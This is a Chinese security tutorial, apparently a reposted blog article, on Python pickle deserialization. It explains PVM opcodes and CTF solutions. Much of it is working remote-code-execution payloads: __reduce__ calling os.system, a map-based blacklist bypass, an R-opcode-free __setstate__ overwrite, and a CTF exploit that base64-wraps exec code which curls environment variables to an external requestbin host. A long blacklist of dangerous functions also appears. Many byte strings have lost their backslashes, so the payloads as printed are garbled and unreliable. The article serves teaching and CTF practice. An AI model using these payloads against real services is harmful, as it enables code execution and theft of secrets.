pickle反序列化漏洞

admin 2024年10月18日23:42:34评论18 views字数 13703阅读45分40秒阅读模式

pickle反序列化漏洞

Python序列化和反序列化

序列化:把一个类对象转化为字节流

  1. 1. 从对象提取所有属性,并将属性转化为名值对
  2. 2. 写入对象的类名
  3. 3. 写入名值对

在python中,一般可以使用pickle类来进行python对象的序列化,而cPickle提供了一个更快速简单的接口。cPickle可以对任意一种类型的python对象进行序列化操作,比如list,dict,甚至一个类的对象等。而所谓的序列化,可理解就是为了能够完整的保存并能够完全可逆的恢复

  1. 1. dump:将python对象序列化保存到本地的文件夹import cPickle
    data = range(1000)
    cPickle.dump(data,open("text\data.pkl","wb"))
    dump函数需要指定两个参数,第一个是需要序列化的python对象名称,第二个是本地的文件,需要注意的是,在这里需要使用open'函数打开一个文件,并指定“写”操作
  2. 2. load:载入本地文件,恢复python对象data = cPickle.load(open("text\data.pkl","rb"))
  3. 3. dumps:将python对象序列化保存到一个字符串变量中data_string = cPickle.dumps(data)

反序列化:将字节流转化为原始对象

  1. 1. 获取pickle输入流
  2. 2. 重建属性列表
  3. 3. 根据类名创建一个新的对象
  4. 4. 将属性复制到新对象中
  5. 5. load:载入本地文件,恢复python对象data = cPickle.load(open("text\data.pkl","rb"))
  6. 6. loads:从字符串变量中载入python对象data = cPickle.loads(data_string)

python的序列化的目的是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易的方式

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的PVM(Pickle Virtual Machine)。

PVM 由三部分组成:

指令处理器

从流中读取opcode和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

stack (栈)

由Python的list实现,被用来临时存储数据、参数以及对象

memo

由Python的dict实现,为PVM的整个生命周期提供存储

pickle.dumps(obj):

把obj对象序列化后以bytes对象返回,不写入文件

pickle.loads(bytes_object):

从bytes对象中读取一个反序列化对象,并返回其重组后的对象

什么类型可以序列化和反序列化

  1. 1. None、True和False
  2. 2. 整形、浮点、复数
  3. 3. strings、bytes、bytearrays
  4. 4. 元组、列表、集合、和只包含可序列化对象的字典
  5. 5. 定义再模块顶层的函数(lambda表达式不可以)
  6. 6. 定义在模块顶层的内建函数
  7. 7. 定义在模块顶层类
  8. 8. instances of such classes whose __dict__or the result of calling __getstate__()is picklable

简单的字符类型的反序列化

import pickle

data = "DMIND"
p1 = pickle.dumps(data) # dumps 序列化
print(p1)
p2 = pickle.loads(p1) # loads 反序列化
print(p2)

输出:
b'x80x03Xx05x00x00x00DMINDqx00.'
DMIND
  1. 1. x80: 表示一个操作码, 同时声明pickle的版本
  2. 2. x03: 代表版本为3
  3. 3. X:从一个X后的四个字节表示一个数字,x05x00x00x00 表示5 ,指的是后面UTF-8编码的字符串的长度
  4. 4. DMIND 是UTF-8编码过的字符串
  5. 5. x00 : 表示结束

类的反序列化

import pickle
class DMIND:
    DD = 'ok'
    def hello(self):
        return self.DD

obj = DMIND()
p1 = pickle.dumps(obj) # 序列化
print(p1)

p2 = pickle.loads(p1) # 反序列化
print(p2)

输出:
b'x80x03c__main__nDMINDnqx00)x81qx01.'
<__main__.DMIND object at 0x000001C022659048>
  1. 1. c:表示导入模块中的标识符
  2. 2. __main__nDMIND: 模块和标识符之间用n隔开,那么这里的意思是导入了main模块中的D类
  3. 3. qx00:代表了DMIND类在memo的索引
  4. 4. ):在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空
  5. 5. x81:操作符,该操作符调用cls.__new__方法来建立对象,该方法接受前面tuple中的参数,本例中为空

__reduce__

这个方法用来表明一个对象应当如何序列化

__reduce__() 方法不带任何参数,并且应返回字符串或最后返回一个元组(返回的对象通常称为一个reduce值)

魔术方法有两种返回值:1.字符串、2.元组

如果返回类型是:元组,则应当包含2到6个元素,可选元素可以省略或设置为None

第一个元素是一个可调用对象

第二个元素作为第一个元素的参数使用。其实是一个元组,如果可调用对象(即第一个元素)不接受参数,必须提供一个空元组

__reduce__魔术方法的返回值是tuple类型时就可以实现任意代码执行

import pickle
import os

class A(object):
    def __reduce__(self):
        cmd = "whoami" # 命令
        return (os.system,(cmd,))
    
a = A()
pickle_a = pickle.dumps(a) # 序列化
print(pickle_a)
pickle.load(pickle_a) # 反序列化时触发了代码执行

只要执行反序列化操作就触发了代码执行

pickle反序列化漏洞

Python反序列化漏洞

成因:当传入了不安全的反序列化函数的内容,就会产生反序列化漏洞,造成任意代码执行。

通常出现在解析认证token,session的时,flask配合redis在服务器存储session的情景。

这里的session是被pickle序列化进行存储的,如果你通过cookie进行session-id的话,session中的内容就会被反序列化,看似好像是没有什么问题。因为session是存储在服务端的,但是终究是抵不住redis的未授权访问,如果出现未授权的话,我们就能通过set设置自己的session,然后通过设置cookie去请求session的过程中我们自定的内容就会被反序列化,然后我们就达到了执行任意命令或者任意代码的目的

pickle 的意义 存储字符串比存储对象方便得多

pickle反序列化漏洞

对于自己定义的class,如果直接以形如date = 20191029的方式赋初值,则这个date不会被打包,解决方法是写一个__init__方法

import pickle

class dairy():
    date = 20191029
    text = "今天哈尔滨冻死人QAQ"
    todo = ['大物实验报告','CTF题','CSAPP作业']

x = dairy()
print(pickle.dumps(x))

b'x80x03c__main__ndairynqx00)x81qx01'

class dairy():
    def __init__(self):
        self.date = 20191029
        self.text = "今天哈尔滨冻死人了QAQ"
        self.todo = ['大物实验报告','CTF题','CSAPP作业']
x = dairy()
print(pickle.dumps(x))

b'x80x03c__main__ndairynqx00)x81qx01}qx02(Xx04x00x00x00dateqx03J5x)

pickle.loads机制:调用_Unpickler类

pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。代码实现如下

pickle反序列化漏洞

可以看出, _load和_loads基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化

所以就要弄清楚_Unpickler类的源码

_Unpickler类

在反序列化过程中,_Unpicker维护了两个东西:栈区和存储区。结构如下:

pickle反序列化漏洞

栈是unpickler类最核心的数据结构,所有的数据操作几乎都在栈上。为了对应数据嵌套,栈区分为两个部分:当前栈和前序栈

当前栈:专注于维护最顶层的信息。

前序栈:维护下层的信息。

存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西

pickletools (调试器)

pickletools是python自带的pickle调试器,有三个功能:

反汇编一个已经被打包的字符串

优化一个已经被打包的字符串

返回一个迭代器来供程序使用

class dairy():
    def __init__(self):
        self.date = 20191029
        self.text = "今天哈尔滨冻死人了QAQ"
        self.todo = ['大物实验报告','CTF题','CSAPP作业']
x = dairy()
s = pickle.dumps(x)
print(s)

pickletools.dis(s)
pickle反序列化漏洞

这就是反汇编功能:解析这个字符串,然后告诉你这个字符串干了什么。每一行都是一个指令

解读pickle

字符串中包含了很多条指令。这些指令一定以一个字节码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数,参数的结束标识符等)。指令码是紧凑的,一条指令结束之后立刻就是下一条指令

分析一个例子:

import pickle

class Student():
    def __init__(self):
        self.name = 'rxz'
        self.grade = 'G2'
pickle反序列化漏洞
字符串的第一个字节是x80,当机器看到这个操作符时,立刻再去读取字符串读取一个字节,得x03  

解释为:这是一个依据3号协议序列化的字符串

机器读取下一个字符作为操作符  c   。这个操作符(称为GLOBAL)操作符 对我们以后的工作非常有用——它连续读取两个字符串 module 和name  ,规定以n 为分割;接下来把module.name这个东西压进栈。 在这里 读到的两个字符串分别是 `__main__`和`Student` ,于是把`__main___.Student`扔进栈里

GLOVABL操作符读取全局变量,是使用find_class函数,而find_class对于不同的协议版本实现也是不一样的。总之,它干的事情是 ”去x模块找到y“,y必须在x的顶层(也即 y不能再嵌套的内层)

x80x03c__main__nStudentn)x81}(VnamenVrxznVgradenVG2nub.
`)`操作符:作用是”把一个空的tuple压入当前栈“。
pickle反序列化漏洞
`x81`操作符: 作用是”从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls 接着执行 `cls.__new__(cls,*args)`,然后把得到的东西压进栈。 也就是 从栈中弹出一个参数和一个class ,然后利用这个参数去实例化class, 把得到的实例压进栈

到这里 栈里面有一个元素——它是实例化的Student对象,目前这里面怎么都没有,因为当初实例化它的时候,args是一个空的数组

接着程序读入一个} ,它的意思是“把一个空的dict压进栈”。然后是MARK操作符,这个操作符干的事情称为load_mark:

  • • 把当前栈这个整体,作为一个list,压进前序栈。
  • • 把当前栈清空 前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件 到这里还要介绍另一个操作——pop_mark。它没有操作符,只供其他的操作符来调用。干是事情是load_mark的反向操作:
  • • 记录一下当前栈的信息,作为一个list,在load_mark结束时返回
  • • 弹出前序栈的栈顶,用这个list来覆盖当前栈

load_mark相当于进入一个子过程,而pop_mark相当于从子过程退出,并且把栈恢复成调用子过程之前的情况,所有与栈的切换相关的事情,都靠调用这两个方法来完成。因此load_markpop_mark是栈管理的核心方法

回到我们这个程序,继续看MARK之后的内容:
x80x03c__main__nStudentn)x81}(VnamenVrxznVgradenVG2nub.
下一个操作符是 V  。它的意义是:读入一个字符串,以n结尾;然后把这个字符串压进栈中。我们看到这里有四个 V 操作,它们全都执行玩的时候,当前栈里面的元素是:(由底层到顶层)`name,rxz,grade,G2`.前序栈只有一个元素,是一个list 这个list里面有两个元素:一个是空的Student实例,以及一个空的idct

下面是 u 操作符。它干这样的事情:
  • • 调用pop_mark也就是说,它当前栈的内容扔进一个数组arr,然后把当前栈恢复到MAEK是的状态。执行完成之后, arr = ['name','rxz','grade','G2']; 当前栈里面存的是__main__.Student这个类,一个空的dict
  • • 拿到当前栈的末尾元素,规定必须是一个dict这个读到了栈顶的那个空dict
  • • 两个一组地读arr里面的元素,前者作为key ,后者作为value,存进上一条所述的dict 模拟一下这个过程,发现原先是空的那个dict现在编程了{'name': 'rxz', 'grade': 'G2'}这个dict,所以现在,当前栈里面的元素是__main__.Student 的一个空的实例,和{'name': 'rxz', 'grade': 'G2'}这个dict。下一个指令码是b,也就是BUILD指令。它干是事情是:
  • • 把当前栈栈顶存进state,然后弹掉
  • • 把当前栈栈顶记为inst,然后弹掉
  • • 利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈

这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的化,直接把state这个dist的内容,合并到inst.__dict__里面。

上面的事情干完之后,当前栈里面只剩下了一个实例——它的类型是`__main__.Student`,里面name值是rxz ,grade值是G2.

下一个指令是 . (STOP)命令,pickle的字符串以它结尾,意思是:“当前栈顶元素就是反序列化的最终结果,把它弹出

import pickle

class Student():
    def __init__(self):
        self.name = 'rxz'
        self.grade = 'G2'
s = b'x80x03c__main__nStudentn)x81}(VnamenVrxznVgradenVG2nub.'

res = pickle.loads(s)

print(f"type = {type(res)} name ={res.name} grade = {res,grade}")

输出
type = <class '__name__.Student'> name = rxz grade  = G2

__reduce__

它的命令码是 R , 干了这么一件事:

  • • 取当前栈的栈顶记为args,然后把它弹掉
  • • 取当前栈的栈顶记为f ,然后把它弹掉
  • • 以args 为参数,执行 函数 f ,把结果压进当前栈 class的__reduce__方法,在picke反序列化的时候会被执行。其底层的编码方法就是利用了R 指令码。f要么返回字符串,要么返回一个tuple,后者对我们而言更有用。一种流行的攻击思路是:利用__reduece__构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。

举个例子:

正常的字符串反序列化后,得到一个Student对象。我们想构造一个字符串,它在反序列化的时候,执行 ls / 指令/

import pickle
import os
class Student():
    def __init__(self):
        self.name = 'rxz'
        self.grade = 'G2'
    def __reduce__(self):
        return (os.system,('ls /'))
 
payload = pickle.dumps(Student())

print(payload)

把payload拿给正常的程序(Student类里面没有__reduce__方法)去解析:

pickle反序列化漏洞

即使 Student类是正常的,pickle.loads仍然执行了os.system('ls /')

一道题目

[watevrCTF-2019]Pickle Store

pickle反序列化漏洞
pickle反序列化漏洞

看到session很长 想到是不是这里面存了信息

pickle反序列化漏洞

反弹shell

pickle反序列化漏洞

如果__reduce__被过滤

绕过函数黑名单

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。

比如

2018-XCTF-HITB-WEB : Python's-Revenge这个题

有黑名单

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

这里 python有个map函数

pickle反序列化漏洞

所以我们可以这样

class Exploit(object):
    def __reduce__(self):
     return map,(os.system,["ls"])

如此看来,要禁掉reduce,如不禁掉R指令码

R指令码被禁

这里有道题,彻底过滤了R指令码

只要payload里面有R这个字符,就直接驳回

import pickle
import base64

class Student():
    def __init__(self,name,grade):
        self.name = name
        self.grade = grade
    def __eq__(self,other):
        return type(other) is Student and
        self.name == other.name and
        self.grade == other.grade

print(pickle.dunps(Student('rxz','Gs')))

import blue

def check(data):
    if b'R' in data:
        return 'no reduce!'
    x = pickle.loads(data)
    
    if(x !=Student(blue.name,blue.grade)):
        return 'Not equal >_<'
    return 'well done!'

print(check(base64.b64decode(input())))

这里要返回well done 需要:

给出一个字符串,反序列化后,name和grade需要与blue这个module里面的name、grade相对应

这里不能使用R指令码,但是还有c指令码 :来获取一个全局变量。我们先看一下 正常的Student 序列化的结果

pickle反序列化漏洞

以name为例,只需要把编码后的rxz改成从blue里面引入name,

所以用c指令码就是 cbluennamen 然后把用于编码rxz的Xx03x00x00x00rxz 特换成我们这个Global指令

pickle反序列化漏洞

把这个payload进行base64编码传进题目,得到well done

QQ截图20230522190333

绕过c指令module限制:先读入,再篡改

前面说过,c指令(GLOBAL指令)是基于find_class这个方法,而find_class 可以被出题人重写。如果出题人只允许c指令包含__main__这一个module

通过GLOBAL指令引入的变量,可以看作是变量的引用。我们在栈上修改它的值,会导致变量也被修改

所以我们可以这样

  • • 通过__main__.blue引入这个module,由于命名空间还在main内,故不会拦截
  • • 把一个dict压进栈,内容是{'name':'rua','grade':'www'}
  • • 执行BUILD指令,会导致改写__main__.blue.name__main__.blue.grade,至此 blue.name 和 blue.grade已经被篡改成我们想要的内容
  • • 弹掉栈顶,现在栈变成空的
  • • 照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别为’rua‘和’www‘
  • • 由于栈顶是正常的Student对象,pickle.loads将会正常返回。到手的Student对象,当然name和grade都与blue.name、blue.grade对应了——我们刚刚把blue给改掉了

把当前栈栈顶存进state,然后弹掉。

把当前栈栈顶记为inst,然后弹掉。

利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈

所以构造出来的payload是

payload = b'x80x03c__main__nbluen}(VnamenVruanVgradenVwwwnub0c__main__nStudentn)x81}(Xx04x00x00x00nameXx03x00x00x00ruaXx05x00x00x00gradeXx03x00x00x00wwwub.'
pickle反序列化漏洞
pickle反序列化漏洞

返回了well done 看到blue.grade也变成了www

不使用reduce,也能RCE

上面说 __reduce__ 与R指令绑定,禁止了R指令就禁止了__reduce__方法

现在的目标是,利用指令码,构造出任意命令执行,那么我们需要找一个函数调用fun(arg) 其中 fun和arg必须可控

审pickle源码,看看BUILD指令(指令码b)是如何工作的:

def load_build(self):
    stack = self.stack
    state = stack.pop()
    inst = stack[-1]
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    if isinstance(state, tuple) and len(state) ==2:
        state, slotstate = state
    if state:
        inst_dict = inst.__dict__
        intern = system.intern
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
     if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k,v)
这里的实现方法也就是前面说的:如果inst拥有`__setstate__`方法,则把state交给`__setstate__`方法来处理;否则的话,直接把state这个dist的内容,合并到`inst.__dict__`里面。

这里的隐患:

Student原先是没有__setstate__这个方法的。那么我们利用{'__setatate__': os.system}来BUILD这个对象,那么现在对象的__setstate__就变成了os.system; 接下来利用 ls / 来再次BUILD这个对象,则会执行setstate("ls /"),而此时__setstate__已经被我们设置为os.system ,因此实现了RCE

payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb.'
pickle反序列化漏洞

这里 上面的payload由于没有返回一个Student,导致后面抛出异常。要让后面无异常:

干完恶意代码之后把栈弹到空,然后压一个正常的Student进栈

payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb0c__main__nStudentn)x81}(Xx04x00x00x00nameXx03x00x00x00ruaXx05x00x00x00gradeXx03x00x00x00wwwub.'
pickle反序列化漏洞

[HZNUCTF 2023 preliminary]pickle

打开页面

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0')

可以看到 在/calc 下 get一个 payload 会将它反序列化 而且禁用了os

另一个/readFile 下 get一个文件名(filename) 他会替换文件名的flag 然后读出文件

可以考虑

在/calc下读它的环境变量 然后写到a文件中 然后 ,再在/readFile下传入a文件就能读到它的环境变量了

import pickle
import base64
 
class A():
    def __reduce__(self):
        return (eval,("__import__('o'+'s').system('env | tee a')",))
 
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

env | tee a

这个代码是在 Python 中调用操作系统的 “system” 函数,并传递一个字符串作为参数。

在这个字符串中,“env” 命令输出当前进程的环境变量和值,“|” 符号将输出内容重定向到 “tee” 程序中,而 “tee” 程序则将数据流同时输出到控制台和文件 “a” 中。

因此,这行代码的作用是在 Python 程序中执行 Shell 命令,从而在屏幕上和文件中记录当前进程的环境变量。

另一种是通过exec套娃和curl 外带的方式

import os
import pickle
import base64

actual_payload = '''
import os
os.system('curl -X POST -d "fizz=`env`" http://http.requestbin.buuoj.cn/1k26kqs1')
'''
encoded_payload = base64.b64encode(actual_payload.encode()).decode()

class RCE:
    def __reduce__(self):

        cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));'
        return exec, (cmd,)

a = RCE()
payload = base64.b64encode(pickle.dumps(a))

print(payload)
my_raw = base64.b64decode(payload)
print(my_raw)

curl -X POST -d "fizz=env" http://http.requestbin.buuoj.cn/1k26kqs1

该命令使用curl命令向http.requestbin.buuoj.cn的1k26kqs1端点发送一个POST请求,并将当前主机的所有环境变量的值作为fizz参数的值传递。可以在http://http.requestbin.buuoj.cn/1k26kqs1这个网址上查看请求的结果

pickle反序列化漏洞

 

pickle反序列化漏洞

原文始发于微信公众号(SKSEC):【表哥有话说 第94期】pickle反序列化漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日23:42:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pickle反序列化漏洞https://cn-sec.com/archives/1876421.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息